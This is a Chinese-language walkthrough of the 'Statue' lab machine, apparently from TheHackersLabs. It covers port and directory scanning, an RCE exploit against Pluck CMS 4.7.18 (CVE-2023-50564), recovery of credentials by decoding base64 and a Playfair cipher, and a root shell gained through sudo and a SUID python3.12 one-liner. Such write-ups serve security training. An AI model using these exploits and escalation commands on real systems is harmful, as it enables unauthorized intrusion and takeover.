Statue

image

image

信息搜集

192.168.100.53

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.53 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.53:22
Open 192.168.100.53:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.53
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 17:48 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:48
Completed NSE at 17:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:48
Completed NSE at 17:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:48
Completed NSE at 17:48, 0.00s elapsed
Initiating ARP Ping Scan at 17:48
Scanning 192.168.100.53 [1 port]
Completed ARP Ping Scan at 17:48, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:48
Completed Parallel DNS resolution of 1 host. at 17:49, 2.50s elapsed
DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 17:49
Scanning 192.168.100.53 [2 ports]
Discovered open port 22/tcp on 192.168.100.53
Discovered open port 80/tcp on 192.168.100.53
Completed SYN Stealth Scan at 17:49, 0.01s elapsed (2 total ports)
Initiating Service scan at 17:49
Scanning 2 services on 192.168.100.53
Completed Service scan at 17:49, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.53
NSE: Script scanning 192.168.100.53.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.12s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.00s elapsed
Nmap scan report for 192.168.100.53
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-04-29 17:49:00 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c2:ac:cf:d7:65:58:4b:cf:a2:a1:cd:ff:db:25:b7:79 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKmylkMfiJz8QTF2Tk5RYCtkNddvPNVHkMrGl1SlYpKArggCn5BJ7Gjr709+M7Q4d0cFBZVkSStZwlsErtlEkGY=
| 256 e4:4a:ab:9d:d8:7b:8c:d9:6c:6c:9a:52:85:70:b4:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYHHN2JUC7RfO/qotmbvcwqWYb5/5uar+d1R8/pfxu2
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Index of /
MAC Address: 08:00:27:ED:CD:DC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=4/29%OT=22%CT=%CU=36328%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69F1D414%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=104%TI=Z%CI=Z%TS=A)
OS:OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4
OS:ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 26.315 days (since Fri Apr 3 10:15:36 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 192.168.100.53; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 192.168.100.53

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:49
Completed NSE at 17:49, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 SSH
  • 80 HTTP

这里需要添加域名

1
192.168.100.53 statue.thl

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://statue.thl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://statue.thl/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt,html,back,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php (Status: 302) [Size: 0] [--> http://statue.thl/?file=rodgar]
images (Status: 301) [Size: 309] [--> http://statue.thl/images/]
login.php (Status: 200) [Size: 1242]
templates (Status: 301) [Size: 312] [--> http://statue.thl/templates/]
docs (Status: 301) [Size: 307] [--> http://statue.thl/docs/]
files (Status: 500) [Size: 613]
data (Status: 301) [Size: 307] [--> http://statue.thl/data/]
admin.php (Status: 200) [Size: 3733]
plugins (Status: 301) [Size: 310] [--> http://statue.thl/plugins/]
install.php (Status: 200) [Size: 3742]
README.md (Status: 200) [Size: 2922]
javascript (Status: 301) [Size: 313] [--> http://statue.thl/javascript/]
robots.txt (Status: 200) [Size: 47]
requirements.php (Status: 200) [Size: 3754]
SECURITY.md (Status: 200) [Size: 0]
server-status (Status: 403) [Size: 275]
Progress: 1323348 / 1323348 (100.00%)
===============================================================
Finished
===============================================================

README给出了一串base64需要多次解码

image

fideicomiso这个暂时不知道有什么用

在login.php页面发现了是一个pluck的cms且版本是4.7.18这个版本存在一个CVE-2023-50564 RCE的漏洞,但是在利用漏洞之前需要知道用于身份验证的密码,而刚刚那个大概率就是密码

exp https://github.com/xpltive/CVE-2023-50564

image

image

反弹shell

image

提权

方案一

www -> charles

在/var/www/Charles-Wheatstone里面存放着pass.txt

1
2
3
4
bash-5.2$ cat pass.txt
Pass KIBPKSAFMTOIQL

Key Vm0xd1MyUXhVWGhYV0d4VFlUSm9WbGx0ZUV0V01XeHpXa2M1YWxadFVuaFZNVkpUVlVaYVZrNVlWbFpTYkVZelZUTmtkbEJSYnowSwo=

这里需要注意的是Charles-Wheatstone这显然指向了由查尔斯·惠斯通发明的 波雷费密码 (Playfair Cipher)

波雷费密码(Playfair Cipher) 是一种经典的对称加密算法,也是历史上第一种能够加密双字母组合(Digraphs)的密码。

它由英国科学家查尔斯·惠斯通(Charles Wheatstone)于 1854 年发明,但因里昂·波雷费勋爵(Lord Playfair)的大力推广而得名。这种加密方式在第一次世界大战中被英军广泛使用,因为它比单表替换密码更难被频率分析法破解。


1. 核心原理:$5 \times 5$ 密码矩阵

首先需要选择一个​密钥词​(例如:MONARCHY),并构建一个 $5 \times 5$ 的字母矩阵。

  • 规则 A:填充密钥词(去重)。
  • 规则 B​:用剩余的字母填满格子(通常将 I​ 和 J 视为同一个字母,以凑够 25 个位置)。

示例矩阵(密钥:MONARCHY):

M O N A R
C H Y B D
E F G I/J K
L P Q S T
U V W X Z

2. 加密步骤

在加密明文(例如:INSTRUMENTS)之前,需要进行预处理:

  1. 分组​:将明文两两一对拆分(INSTRUMENTS)。
  2. 补位​:如果成对的两个字母相同(如 HELLO​ -> HELL​…),中间插入一个填充字母(通常用 X​);如果最后剩下一个孤单字母,也补一个 X
四大移位法则:

对于每一对字母,在矩阵中找到它们的位置:

  • 同行​:取各自右侧的字母(循环位移)。

    • 例:MO-> ON
  • 同列​:取各自下方的字母(循环位移)。

    • 例:MC-> CE
  • 矩形对角(最常用) :以这两个字母为对角线顶点画一个矩形,取同行的另一个顶点。

    • 注意顺序:第一个明文字母对应同行的顶点,第二个同理。
    • 例:EA-> IM(E和A形成的矩形顶点是I和M)

首先先解密key这是一个多次base64加密的

image

解密Playfair Cipher

http://www.online.crypto-it.net/eng/playfair.html

image

incomprensible

经过验证是charles用户的凭证

1
2
3
4
5
bash-5.2$ su charles
Password:
$ id
uid=1001(charles) gid=1001(charles) groups=1001(charles)
$

charles -> root

在用户charles家目录下有一个binario二进制文件get下来ida分析

1
2
3
4
5
6
7
8
9
$ scp binario root@192.168.100.21:/tmp/aaaa
The authenticity of host '192.168.100.21 (192.168.100.21)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.21' (ED25519) to the list of known hosts.
root@192.168.100.21's password:
binario 100% 16KB 9.3MB/s 00:00
$

image

这里直接泄露了用户凭证

1
2
3
4
5
$ su juan
Password:
juan@TheHackersLabs-Statue:/home/charles$ id
uid=1002(juan) gid=1002(juan) groups=1002(juan)
juan@TheHackersLabs-Statue:/home/charles$

可以看到sudo -l显示了(ALL) NOPASSWD: ALL​当前用户 juan 拥有最高级别的权限配置,可以以 root 身份运行任何命令

1
2
3
4
5
6
7
8
9
10
11
juan@TheHackersLabs-Statue:/home/charles$ sudo -l
Matching Defaults entries for juan on TheHackersLabs-Statue:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User juan may run the following commands on TheHackersLabs-Statue:
(ALL) NOPASSWD: ALL
juan@TheHackersLabs-Statue:/home/charles$ sudo -i
root@TheHackersLabs-Statue:~# id
uid=0(root) gid=0(root) groups=0(root)
root@TheHackersLabs-Statue:~#

方案二

www -> root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-5.2$ find / -perm /4000 -type f 2> /dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/python3.12
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/newgrp

/usr/bin/python3.12具有SUID权限

提权方案在gtfobins上

https://gtfobins.org/gtfobins/python/

1
2
3
bash-5.2$ /usr/bin/python3.12 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)